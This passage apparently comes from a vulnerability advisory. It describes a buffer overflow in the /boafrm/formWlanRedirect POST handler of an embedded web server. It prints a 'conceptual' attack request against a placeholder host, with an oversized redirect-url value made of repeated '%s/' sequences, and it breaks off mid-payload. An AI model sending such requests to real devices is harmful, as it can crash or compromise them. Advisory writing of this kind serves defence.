How the Exploit Works

The vulnerability exists in the HTTP POST Request Handler’s processing of the file /boafrm/formWlanRedirect. Through the manipulation of the ‘redirect-url’ argument, an attacker can cause a buffer overflow. This overflow condition provides the attacker with the ability to execute arbitrary code or disrupt the normal operation of the system, potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker could exploit this vulnerability by sending a malicious HTTP POST request to the targeted system. A conceptual example of such a request might look like this:
“`http
POST /boafrm/formWlanRedirect HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
redirect-url=http://%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%
